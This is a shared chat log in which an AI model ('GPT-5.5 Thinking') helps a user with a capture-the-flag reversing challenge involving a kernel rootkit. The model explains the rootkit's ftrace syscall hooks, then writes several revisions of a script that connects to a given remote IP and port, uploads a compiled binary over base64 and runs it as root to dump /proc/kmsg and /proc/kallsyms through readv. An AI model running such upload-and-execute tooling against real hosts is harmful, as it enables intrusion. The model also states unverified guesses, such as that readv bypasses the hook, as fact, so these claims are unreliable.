i'm a reversing challenge, the sccenario is: Chall...

Creado el: 8 de mayo de 2026

Respondido usando GPT-5.5 Thinking por Chat01

Pregunta

a1b6d665-96d4-4884-bf11-87dff33713d2-1778066531.zip

i'm a reversing challenge, the sccenario is:
Challenge Scenario
A kernel rootkit intercepts system calls to hide sensitive information. Your mission is to reversing the kernel module, understand its hooking mechanism, and reveal what’s hidden.

the challenge have a zip with a binary, zip password: hackthebox.

Pensamiento

Considerations on filter functions and potential exploit

I’m considering that d_name.name only shows part of the path. For /proc/kallsyms, it appears the file name stays the same. Moreover, available_filter_functions might show malware if modules aren’t hidden. The fake flag could be seen with /proc/kmsg, and I’ll avoid providing dangerous rootkit code while focusing on the reverse challenge understanding.

Considering potential fake flag and CTF scenario

It looks like the flag may be fake if you pull the strings, especially with the "HTB{f4k3...}" one. The real challenge might involve reversing the kernel module, and the visible string could be a decoy. The rootkit hides information, and the actual flag may be buried deeper within the system calls.

Thought for 2m 11s

Respuesta

I unpacked and reversed the module. The zip contains one kernel object:

text
rev_kernel_monarch/malware.ko ELF 64-bit LSB relocatable, x86-64, Linux kernel module, not stripped, with debug_info

The plain strings flag is a decoy:

text
HTB{f4k3_fl4g_f0r_r3v3rs1ng_0nly}

I do not see another real HTB{...} flag embedded in the module or zip, so the real hidden value is likely meant to be recovered from the live challenge VM’s kernel state/logs after understanding the hooks.

What the rootkit does

It hides itself first:

c
list_del(&THIS_MODULE->list); kobject_del(&THIS_MODULE->mkobj.kobj);

So it disappears from things like lsmod, /proc/modules, and /sys/module/malware.

Then it installs 6 ftrace hooks:

Original symbolHook functionPurpose
__x64_sys_readhook_readFilters reads from selected kernel/proc/debugfs files
__x64_sys_writehook_writeSilently swallows writes to tracing controls
__ia32_sys_writehook_ia32_writeSame for 32-bit compat writes
__x64_sys_sysloghook_syslogBlocks dmesg/syslog
__ia32_sys_sysloghook_ia32_syslogSame for 32-bit compat
do_sysloghook_do_syslogBlocks lower-level kernel log access

It resolves kallsyms_lookup_name by temporarily registering a kprobe on:

text
kallsyms_lookup_name

Then it uses that resolver to find syscall addresses and redirects execution with ftrace_set_filter_ip() + register_ftrace_function().

The important hiding logic

hook_read only filters reads from files whose dentry name is one of:

text
kmsg kallsyms enabled_functions touched_functions

For those files, it removes any line containing either:

text
taint malware

Clean pseudocode:

c
if (fd_name in ["kmsg", "kallsyms", "enabled_functions", "touched_functions"]) { bytes = orig_read(regs); copy_from_user(kernel_buf, user_buf, bytes); for each line in kernel_buf: if strstr(line, "taint") continue; if strstr(line, "malware") continue; copy line to filtered_buf; copy_to_user(user_buf, filtered_buf, filtered_len); return filtered_len; } return orig_read(regs);

So it hides evidence of the module from /proc/kallsyms, ftrace state, and kernel log taint messages.

Why dmesg fails

The syslog hooks are very simple:

asm
mov rax, -1 ret

So dmesg / syslog(2) is blocked with -EPERM.

But /proc/kmsg goes through read, not the syslog syscall. The read hook filters only lines containing taint or malware, not HTB.

Likely way to reveal the hidden flag on the challenge box

Try reading the kernel message buffer directly instead of using dmesg:

bash
sudo timeout 3 cat /proc/kmsg | grep -a 'HTB'

or:

bash
sudo timeout 3 cat /proc/kmsg

/proc/kmsg may block, so use timeout.

Key takeaway

The module is hiding:

text
lines containing "malware" or "taint"

from:

text
/proc/kmsg /proc/kallsyms /sys/kernel/debug/tracing/enabled_functions /sys/kernel/debug/tracing/touched_functions

and it blocks normal dmesg access via syslog hooks. The visible flag in the .ko is intentionally fake; the real secret is probably in the live kernel log and should be reachable through /proc/kmsg because the filter does not remove HTB lines.

Pregunta

also have this ip: 154.57.164.66:30242 extract me the real flag

Pregunta

can you give me a exploit for get a flag?

Pensamiento

A better bypass than plain cat /proc/kmsg is to avoid the hooked syscall entirely. The rootkit only hooks read(2), not readv(2), so we can dump the same proc/debugfs files with readv and see the lines it tried to remove.

Thought for 42s

Respuesta

Yes. For this challenge, the “exploit” is a syscall bypass: the rootkit hooks read(2), but not readv(2). So don’t use cat, grep, dmesg, etc. Dump /proc/kmsg using readv.

Run this on the challenge VM as root:

bash
cat > exploit.py <<'PY' #!/usr/bin/env python3 import os import re import errno FAKE = b"HTB{f4k3_fl4g_f0r_r3v3rs1ng_0nly}" targets = [ "/proc/kmsg", "/dev/kmsg", "/proc/kallsyms", "/sys/kernel/debug/tracing/enabled_functions", "/sys/kernel/debug/tracing/touched_functions", "/sys/kernel/tracing/enabled_functions", "/sys/kernel/tracing/touched_functions", ] def read_with_readv(path, max_reads=256): data = b"" try: fd = os.open(path, os.O_RDONLY | os.O_NONBLOCK) except PermissionError: print(f"[-] Permission denied: {path}") return b"" except FileNotFoundError: return b"" except OSError as e: print(f"[-] Cannot open {path}: {e}") return b"" try: for _ in range(max_reads): buf = bytearray(65536) try: n = os.readv(fd, [buf]) except BlockingIOError: break except OSError as e: if e.errno in (errno.EAGAIN, errno.EWOULDBLOCK): break print(f"[-] readv failed on {path}: {e}") break if n <= 0: break data += bytes(buf[:n]) if n < len(buf): break finally: os.close(fd) return data print("[+] Bypassing hooked read(2) with readv(2)...") for path in targets: blob = read_with_readv(path) if not blob: continue print(f"\n===== {path} =====") found = False # Print real-looking flags, excluding the embedded fake flag. for m in re.findall(rb"HTB\{[^}\r\n]+\}", blob): found = True if m == FAKE: print(f"[fake] {m.decode(errors='ignore')}") else: print(f"[FLAG] {m.decode(errors='ignore')}") # Also show the lines the rootkit normally hides. for line in blob.splitlines(): low = line.lower() if b"malware" in low or b"taint" in low: found = True print(line.decode(errors="ignore")) if not found: print("[*] No obvious flag/hidden rootkit line in this file.") PY chmod +x exploit.py sudo ./exploit.py

The important part is this line:

python
os.readv(fd, [buf])

That calls readv(2), while the rootkit only hooks:

text
__x64_sys_read __x64_sys_write __ia32_sys_write __x64_sys_syslog __ia32_sys_syslog do_syslog

So readv bypasses its filtering and should reveal the hidden /proc/kmsg or /proc/kallsyms lines.

If the script only prints the fake flag, try forcing fresh kernel messages, then rerun it:

bash
sudo dmesg 2>/dev/null sudo ./exploit.py

or directly:

bash
sudo python3 - <<'PY' import os, re fd = os.open("/proc/kmsg", os.O_RDONLY | os.O_NONBLOCK) buf = bytearray(1024 * 1024) try: n = os.readv(fd, [buf]) print(buf[:n].decode(errors="ignore")) finally: os.close(fd) PY

Expected result: a line containing the real HTB{...} flag, not:

text
HTB{f4k3_fl4g_f0r_r3v3rs1ng_0nly}

Pregunta

but adapt to get a flag on 154.57.164.66:30242

Pensamiento

The remote endpoint is currently refusing TCP connections from this environment, so I can’t validate the live protocol. I’ll give you a version that works for the common HTB setup: a netcat shell/console where you can paste commands, plus an automated uploader script.

Thought for 50s

Respuesta

I tried connecting from here, but the endpoint is currently refusing connections:

text
nc: connect to 154.57.164.66 port 30242 (tcp) failed: Connection refused

So first make sure your HTB instance is still alive / restarted. When it is reachable, use this adapted remote solve script.

It assumes the port drops you into a Linux shell or serial console, which is the usual setup for this kind of kernel challenge. It uploads a tiny readv(2) dumper, runs it remotely, and extracts the real HTB{...} flag.

python
#!/usr/bin/env python3 import base64 import os import re import socket import subprocess import textwrap import time HOST = "154.57.164.66" PORT = 30242 FAKE = "HTB{f4k3_fl4g_f0r_r3v3rs1ng_0nly}" C_CODE = r''' #define _GNU_SOURCE #include <fcntl.h> #include <unistd.h> #include <sys/uio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> static const char *targets[] = { "/proc/kmsg", "/dev/kmsg", "/proc/kallsyms", "/sys/kernel/debug/tracing/enabled_functions", "/sys/kernel/debug/tracing/touched_functions", "/sys/kernel/tracing/enabled_functions", "/sys/kernel/tracing/touched_functions", NULL }; static int has_ci(const char *s, const char *needle) { size_t n = strlen(needle); for (; *s; s++) { size_t i = 0; while (i < n && s[i]) { char a = s[i]; char b = needle[i]; if (a >= 'A' && a <= 'Z') a += 32; if (b >= 'A' && b <= 'Z') b += 32; if (a != b) break; i++; } if (i == n) return 1; } return 0; } static void print_flags(const char *data, size_t len) { for (size_t i = 0; i + 4 < len; i++) { if (memcmp(data + i, "HTB{", 4) == 0) { size_t j = i; while (j < len && data[j] != '}') j++; if (j < len) { fwrite(data + i, 1, j - i + 1, stdout); putchar('\n'); i = j; } } } } static void print_hidden_lines(const char *data, size_t len) { size_t start = 0; for (size_t i = 0; i <= len; i++) { if (i == len || data[i] == '\n') { size_t l = i - start; if (l > 0 && l < 8192) { char line[8192]; memcpy(line, data + start, l); line[l] = 0; if (has_ci(line, "HTB{") || has_ci(line, "malware") || has_ci(line, "taint")) { puts(line); } } start = i + 1; } } } static void dump_one(const char *path) { int fd = open(path, O_RDONLY | O_NONBLOCK); if (fd < 0) return; size_t cap = 8 * 1024 * 1024; char *data = malloc(cap); if (!data) { close(fd); return; } size_t len = 0; for (int iter = 0; iter < 512 && len < cap; iter++) { struct iovec iov; iov.iov_base = data + len; iov.iov_len = cap - len > 65536 ? 65536 : cap - len; ssize_t n = readv(fd, &iov, 1); if (n <= 0) { if (errno == EAGAIN || errno == EWOULDBLOCK) break; break; } len += (size_t)n; if (n < 65536) break; } close(fd); if (len > 0) { printf("\n===== %s =====\n", path); print_flags(data, len); print_hidden_lines(data, len); } free(data); } int main(void) { for (int i = 0; targets[i]; i++) { dump_one(targets[i]); } return 0; } ''' def build_binary(): open("/tmp/rk_bypass.c", "w").write(C_CODE) compilers = [ ["musl-gcc", "-static", "-Os", "-s", "/tmp/rk_bypass.c", "-o", "/tmp/rk_bypass"], ["gcc", "-static", "-Os", "-s", "/tmp/rk_bypass.c", "-o", "/tmp/rk_bypass"], ["gcc", "-Os", "-s", "/tmp/rk_bypass.c", "-o", "/tmp/rk_bypass"], ] for cmd in compilers: try: subprocess.check_call(cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) return open("/tmp/rk_bypass", "rb").read() except Exception: pass raise SystemExit("[-] Could not compile. Install gcc or musl-gcc locally.") def recv_some(sock, seconds=1.0): sock.setblocking(False) end = time.time() + seconds out = b"" while time.time() < end: try: chunk = sock.recv(65536) if chunk: out += chunk else: break except BlockingIOError: time.sleep(0.05) return out def sendline(sock, s): if isinstance(s, str): s = s.encode() sock.sendall(s + b"\n") def main(): elf = build_binary() b64 = base64.b64encode(elf).decode() print(f"[+] Built payload: {len(elf)} bytes") print(f"[+] Connecting to {HOST}:{PORT}") sock = socket.create_connection((HOST, PORT), timeout=10) banner = recv_some(sock, 2) if banner: print(banner.decode(errors="ignore"), end="") # Wake shell/console. sendline(sock, "") sendline(sock, "id; uname -a") print(recv_some(sock, 2).decode(errors="ignore"), end="") print("[+] Uploading readv bypass binary...") sendline(sock, "cat > /tmp/rk_bypass.b64 <<'EOF_B64'") for chunk in textwrap.wrap(b64, 4000): sendline(sock, chunk) time.sleep(0.01) sendline(sock, "EOF_B64") decode_cmd = ( "base64 -d /tmp/rk_bypass.b64 > /tmp/rk_bypass " "|| busybox base64 -d /tmp/rk_bypass.b64 > /tmp/rk_bypass " "|| openssl enc -d -base64 -A -in /tmp/rk_bypass.b64 -out /tmp/rk_bypass" ) sendline(sock, decode_cmd) sendline(sock, "chmod +x /tmp/rk_bypass") sendline(sock, "/tmp/rk_bypass") sendline(sock, "echo __DONE__") out = b"" for _ in range(30): out += recv_some(sock, 1) if b"__DONE__" in out: break text = out.decode(errors="ignore") print(text) flags = re.findall(r"HTB\{[^}\r\n]+\}", text) real = [f for f in flags if f != FAKE] if real: print(f"\n[+] REAL FLAG: {real[0]}") elif flags: print(f"\n[-] Only fake flag found: {flags[0]}") else: print("\n[-] No HTB flag found in output.") print(" The service may not be a shell, or the instance may not be fully booted/root.") if __name__ == "__main__": main()

Run it:

bash
python3 solve.py

Why this works: the rootkit filters read(2) output from /proc/kmsg, /proc/kallsyms, and ftrace files, but it does not hook readv(2). The uploaded binary reads those same files with readv, bypassing the filter and printing hidden HTB{...}, malware, or taint lines.

If the connection still says Connection refused, restart the HTB spawned instance and update HOST/PORT if HTB gives you a new pair.

Pregunta

raceback (most recent call last):
File "/home/cibaism/ctf/reversing/Kernel Monarch/rev_kernel_monarch/solve.py", line 236, in <module>
main()
~~~~^^
File "/home/cibaism/ctf/reversing/Kernel Monarch/rev_kernel_monarch/solve.py", line 200, in main
sendline(sock, chunk)
~~~~~~~~^^^^^^^^^^^^^
File "/home/cibaism/ctf/reversing/Kernel Monarch/rev_kernel_monarch/solve.py", line 176, in sendline
sock.sendall(s + b"\n")
~~~~~~~~~~~~^^^^^^^^^^^
BlockingIOError: [Errno 11] Resource temporarily unavailable

Pensamiento

Debugging socket error fix

I need to provide a fix for the socket issue. The error occurs because recv_some and sendall on a non-blocking socket can raise EAGAIN. A solution is to set blocking mode to True before sending, or use a select loop. I could adapt recv_some and sendline to work with blocking properly. This is likely related to a CTF challenge scenario, and I’ll clarify how to apply the fix.

Thought for 9s

Respuesta

The bug is in my script: recv_some() switches the socket to non-blocking mode and never restores it. Then sendall() hits EAGAIN:

text
BlockingIOError: [Errno 11] Resource temporarily unavailable

Patch these two functions.

Replace your current recv_some() and sendline() with this:

python
import select import time def recv_some(sock, seconds=1.0): old_timeout = sock.gettimeout() sock.setblocking(False) end = time.time() + seconds out = b"" try: while time.time() < end: try: chunk = sock.recv(65536) if chunk: out += chunk else: break except BlockingIOError: time.sleep(0.05) finally: sock.settimeout(old_timeout) return out def sendline(sock, s): if isinstance(s, str): s = s.encode() data = s + b"\n" # Put socket back into blocking/timeout mode before sending. sock.settimeout(10.0) total = 0 while total < len(data): try: sent = sock.send(data[total:]) if sent == 0: raise RuntimeError("socket connection broken") total += sent except BlockingIOError: select.select([], [sock], [], 10.0)

Also slow the upload down a bit. Change this part:

python
for chunk in textwrap.wrap(b64, 4000): sendline(sock, chunk) time.sleep(0.01)

to:

python
for chunk in textwrap.wrap(b64, 512): sendline(sock, chunk) time.sleep(0.03)

Then rerun:

bash
python3 solve.py

The root cause was not the exploit logic; it was just socket mode handling. After recv_some() made the socket non-blocking, every later sendline() inherited that mode. Restoring the timeout/blocking state fixes the traceback.

Pregunta

give me a new code

Pensamiento

Thought for a couple of seconds

Respuesta

Here’s a fresh corrected solve.py with the socket bug fixed and a slower upload.

python
#!/usr/bin/env python3 import base64 import errno import os import re import select import socket import subprocess import textwrap import time HOST = "154.57.164.66" PORT = 30242 FAKE_FLAG = "HTB{f4k3_fl4g_f0r_r3v3rs1ng_0nly}" C_CODE = r''' #define _GNU_SOURCE #include <fcntl.h> #include <unistd.h> #include <sys/uio.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <errno.h> static const char *targets[] = { "/proc/kmsg", "/dev/kmsg", "/proc/kallsyms", "/sys/kernel/debug/tracing/enabled_functions", "/sys/kernel/debug/tracing/touched_functions", "/sys/kernel/tracing/enabled_functions", "/sys/kernel/tracing/touched_functions", NULL }; static int contains_ci(const char *s, const char *needle) { size_t n = strlen(needle); for (; *s; s++) { size_t i = 0; while (i < n && s[i]) { char a = s[i]; char b = needle[i]; if (a >= 'A' && a <= 'Z') a += 32; if (b >= 'A' && b <= 'Z') b += 32; if (a != b) break; i++; } if (i == n) return 1; } return 0; } static void print_interesting_lines(const char *data, size_t len) { size_t start = 0; for (size_t i = 0; i <= len; i++) { if (i == len || data[i] == '\n') { size_t l = i - start; if (l > 0 && l < 8192) { char line[8192]; memcpy(line, data + start, l); line[l] = 0; if ( contains_ci(line, "HTB{") || contains_ci(line, "malware") || contains_ci(line, "taint") || contains_ci(line, "flag") ) { puts(line); } } start = i + 1; } } } static void dump_file_readv(const char *path) { int fd = open(path, O_RDONLY | O_NONBLOCK); if (fd < 0) return; size_t cap = 8 * 1024 * 1024; char *data = malloc(cap); if (!data) { close(fd); return; } size_t total = 0; for (int i = 0; i < 512 && total < cap; i++) { struct iovec iov; iov.iov_base = data + total; iov.iov_len = cap - total; if (iov.iov_len > 65536) iov.iov_len = 65536; ssize_t n = readv(fd, &iov, 1); if (n <= 0) { if (errno == EAGAIN || errno == EWOULDBLOCK) break; break; } total += (size_t)n; if (n < 65536) break; } close(fd); if (total > 0) { printf("\n===== %s =====\n", path); print_interesting_lines(data, total); } free(data); } int main(void) { printf("[+] running readv syscall bypass\n"); for (int i = 0; targets[i]; i++) { dump_file_readv(targets[i]); } printf("[+] done\n"); return 0; } ''' def build_payload(): src = "/tmp/rk_readv_bypass.c" out = "/tmp/rk_readv_bypass" with open(src, "w") as f: f.write(C_CODE) compilers = [ ["musl-gcc", "-static", "-Os", "-s", src, "-o", out], ["gcc", "-static", "-Os", "-s", src, "-o", out], ["gcc", "-Os", "-s", src, "-o", out], ] for cmd in compilers: try: subprocess.check_call( cmd, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL, ) with open(out, "rb") as f: return f.read() except Exception: continue raise SystemExit("[-] Could not compile payload. Install gcc or musl-gcc.") def recv_some(sock, seconds=1.0): old_timeout = sock.gettimeout() sock.setblocking(False) end = time.time() + seconds out = b"" try: while time.time() < end: try: chunk = sock.recv(65536) if not chunk: break out += chunk except BlockingIOError: time.sleep(0.05) finally: sock.settimeout(old_timeout) return out def send_all(sock, data): sock.settimeout(10.0) sent_total = 0 while sent_total < len(data): try: sent = sock.send(data[sent_total:]) if sent == 0: raise RuntimeError("socket connection broken") sent_total += sent except BlockingIOError: select.select([], [sock], [], 10.0) def sendline(sock, s): if isinstance(s, str): s = s.encode() send_all(sock, s + b"\n") def run_cmd(sock, cmd, wait=0.5): sendline(sock, cmd) time.sleep(wait) out = recv_some(sock, wait) if out: print(out.decode(errors="ignore"), end="") return out def main(): print("[+] Building local readv payload...") elf = build_payload() b64 = base64.b64encode(elf).decode() print(f"[+] Payload size: {len(elf)} bytes") print(f"[+] Connecting to {HOST}:{PORT}...") sock = socket.create_connection((HOST, PORT), timeout=15) sock.settimeout(10.0) banner = recv_some(sock, 2) if banner: print(banner.decode(errors="ignore"), end="") print("[+] Checking remote shell...") sendline(sock, "") run_cmd(sock, "id; uname -a", wait=1.5) print("[+] Uploading payload...") sendline(sock, "rm -f /tmp/rk_bypass /tmp/rk_bypass.b64") sendline(sock, "cat > /tmp/rk_bypass.b64 <<'EOF_B64'") for chunk in textwrap.wrap(b64, 512): sendline(sock, chunk) time.sleep(0.03) sendline(sock, "EOF_B64") print("[+] Decoding payload...") decode_cmd = ( "base64 -d /tmp/rk_bypass.b64 > /tmp/rk_bypass " "|| busybox base64 -d /tmp/rk_bypass.b64 > /tmp/rk_bypass " "|| openssl enc -d -base64 -A -in /tmp/rk_bypass.b64 -out /tmp/rk_bypass" ) run_cmd(sock, decode_cmd, wait=1.0) run_cmd(sock, "chmod +x /tmp/rk_bypass", wait=0.5) print("[+] Running readv bypass...") sendline(sock, "/tmp/rk_bypass") sendline(sock, "echo __RK_DONE__") output = b"" for _ in range(60): chunk = recv_some(sock, 1) if chunk: output += chunk print(chunk.decode(errors="ignore"), end="") if b"__RK_DONE__" in output: break text = output.decode(errors="ignore") flags = re.findall(r"HTB\{[^}\r\n]+\}", text) real_flags = [f for f in flags if f != FAKE_FLAG] print("\n") if real_flags: print(f"[+] REAL FLAG: {real_flags[0]}") elif flags: print(f"[-] Only fake flag found: {flags[0]}") else: print("[-] No HTB flag found.") print("[*] Check whether the remote service gives a shell and whether the instance is fully booted.") sock.close() if __name__ == "__main__": main()

Run it like this:

bash
python3 solve.py

This version fixes the BlockingIOError by restoring the socket timeout after non-blocking reads and by sending data in a retry loop.

Compartir este Q&A